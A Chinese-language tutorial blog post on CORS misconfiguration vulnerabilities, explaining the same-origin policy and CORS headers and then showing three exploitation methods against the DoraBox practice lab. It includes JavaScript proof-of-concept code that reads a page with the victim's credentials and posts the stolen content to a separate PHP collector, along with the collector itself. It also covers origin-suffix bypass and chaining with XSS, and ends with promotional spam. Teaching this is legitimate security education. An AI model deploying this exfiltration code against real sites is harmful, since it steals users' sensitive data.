一、cors 危害
因为同源策略的存在,不同源的客户端脚本不能访问目标站点的资源,如果目标站点配置不当,没有对请求源的域做严格限制,导致任意源都可以访问时,就存在cors跨域漏洞问题,cors漏洞一般用于窃取用户敏感数据cors错误,如果用户点击触发了恶意页面,就会被窃取数据
同源策略
说到跨域漏洞,那就先要了解同源策略
同源策略用于限制应用程序之间的资源共享,确保一个应用里的资源只能被本应用的资源所访问,如果要跨域通信。
必须要引入跨域资源共享,如果没有正确配置,就会导致漏洞产生
同源是指协议,域名,端口三个都相同,即使是同一个ip,不同域名也不是同源,同源策略里允许发出请求,但是不允许访问响应
同源示例
设源
URL是否同源不同处
同源
路径不同
同源
路径不同
同源
路径不同
不同源
协议不同
:88/a/1234.html
不同源
端口不同
:82/a/1234.html
不同源
端口不同
不同源
域名不同,子域名不算同源
Cros跨域资源共享
这里就要提到Cros跨域资源共享
跨域资源共享是一种放宽同源策略机制,允许浏览器向跨源服务器发出请求,绕过同源限制,可以跨域获取数据,一般是通过http里增加字段来限制跨域访问资源,限制特定的来源的服务器访问
一般使用头协议里的两个关键头字段
页面请求数据 Origin
这个Origin 一般用于表明请求的来源位置,表明该请求来源于那里,格式为 请求协议+域名+端口
页面响应数据 Access-Control-Allow-Origin
这里一般用于表明哪些域的请求是允许的,表明允许那里的请求
Access-Control-Allow-Origin这里有不同的设置
当设置为时,代表允许任意请求访问资源 例如 Access-Control-Allow-Origin:
一般会指定一个域,允许该域访问,例如 Access-Control-Allow-
Origin::80
也有特殊情况,当Access-Control-Allow-Origin设置不固定,通过根据用户的跨域请求来设定,此时和设定为*没什么区别,任何网站都可以获取该服务端数据了
Access-Control-Allow-Origin也有其他相关的一些头字段,例如
Access-Control-Allow-Credentials: 当它设置为true时cors错误,允许跨域请求可以包含cookie
Access-Control-Allow-Headers: 允许跨域请求发送额外的head字段
Access-Control-Allow-Methods: 允许跨域请求的方式,表明服务器支持的跨域请求方法
Access-Control-Max-Age: 指定本次请求的有效期
这里cors请求又分简单请求和非简单请求
简单请求:
简单请求就是浏览器直接发出cors请求,就是在头信息中直接加个Origin字段
非简单请求
非简单请求就是在正式请求之前,先进行预检请求,询问服务器该域名是否在服务器可请求名单中,得到答复后再执行
简单请求和非简单请求不影响漏洞,漏洞产生原因在于没有对请求源做严格限制
二、漏洞产生原因
配置不当,没有限制请求的源,例如Access-Control-Allow-Origin 设置为*,允许任意源请求访问 ,或设置请求源的域名没有完整,没有对请求源的域做严格限制,导致任意源都可以访问,造成跨域问题
实列
例如某一站点没有对请求源的域做严格限制,这时候攻击者制作一个恶意页面让目标去点击,目标点击后攻击者就可以获取到当前目标所在页面的信息
三、利用方式
cors 使用了错误的通配符
该漏洞有三种利用方式
第一种为当Access-Control-Allow-Origin设置为通配符* 允许任意源请求时
测试环境
这里使用Dorabox这个靶场来测试
首先我们访问页面
这里是模拟了我们正常的用户访问页面所返回的,这里我们抓包看下
抓取数据包,发现这里的Access-Control-Allow-Origin里参数为* ,说明这里并没有指定域访问,我们可以进行cros攻击
为什么我们的请求包里没有Origin这个字段呢?
这里是因为数据包里默认不显示
如果要查看请求包里的Origin的话,可以在burp里设置
Match and replace里加载origin相关选项
这里漏洞要如何利用呢,我们可以构造一个exp,像csrf那样,发送钓鱼网站链接,读取用户的数据
测试代码如下
function loadXMLDoc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange=function()
{
if(xhr.readyState == 4 && xhr.status == 200) //if receive xhr response
{
var datas=xhr.responseText;
alert(datas);
}
}
xhr.open("GET","http://192.168.1.81/DoraBox-master(1)/DoraBox-master/csrf/userinfo.php","true")
xhr.send();
}
loadXMLDoc();
这个poc效果为读取目标页面的信息并以弹窗的形式返回读取到的页面内容
效果如下
成功读取到了内容
那么,我们要怎么去更好的利用呢,实际使用的话,我们可以去读取目标页面内容并返回到一个额外的页面上
测试代码如下
function re()
{
var xhr1;
var xhr2;
if(window.XMLHttpRequest)
{
xhr1 = new XMLHttpRequest();
xhr2 = new XMLHttpRequest();
}
else
{
xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
xhr2= new ActiveXObject("Microsoft.XMLHTTP");
}
xhr1.open("GET","http://192.168.1.81/DoraBox-master(1)/DoraBox-master/csrf/userinfo.php","true")
xhr1.withCredentials = true;
xhr1.send();
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200)
{
var datas=xhr1.responseText;
xhr2.open("POST","http://192.168.1.81/test/2.php","true");
xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr2.send("cc="+escape(datas));
}
}
}
re();
读取页面内容并通过php文件把内容写到一个额外的文件上
php 里的内容
<?php
$file=fopen("3.txt","w+");
$res=$_POST['cc'];
fwrite($file,$res);
fclose($res);
?>
测试效果如下
使用不完整的域名去匹配
第二种利用场景,错误匹配了不完整的域名
当后端验证使用了不完整的域名时
例如
if (@$_SERVER[‘HTTP_ORIGIN’] == ‘*fangwen.com’){
这样的不完整域名时,说明目标域信任以fangwen.com 为结尾的所有源的访问
这时可以通过抓包修改请求的源,例如 asdvbnjfangwen.com 去访问,达到绕过效果
或者可以在服务器上弄一个末尾带有fangwen.com的新域名去制作一个恶意站点来利用
结合xss使用
第三种利用场景,结合xss使用
cors结合xss使用
一般使用情况下,如果这个主域信任子域,而子域存在xss漏洞,那么可以通过子域的xss漏洞,去读取主域里的敏感信息
当然也可以同一网站下不同网页里进行,只要同源就行
可以直接套用前面的Dorabox的环境
在xss漏洞出插入poc,得到弹窗,读取到了内容
回顾往期内容
扫码白嫖视频+工具+进群+靶场等资料
扫码白嫖!
还有免费的配套靶场、交流群哦!
限时特惠:本站每日持续更新海量设计资源,一年会员只需29.9元,全站资源免费下载
站长微信:ziyuanshu688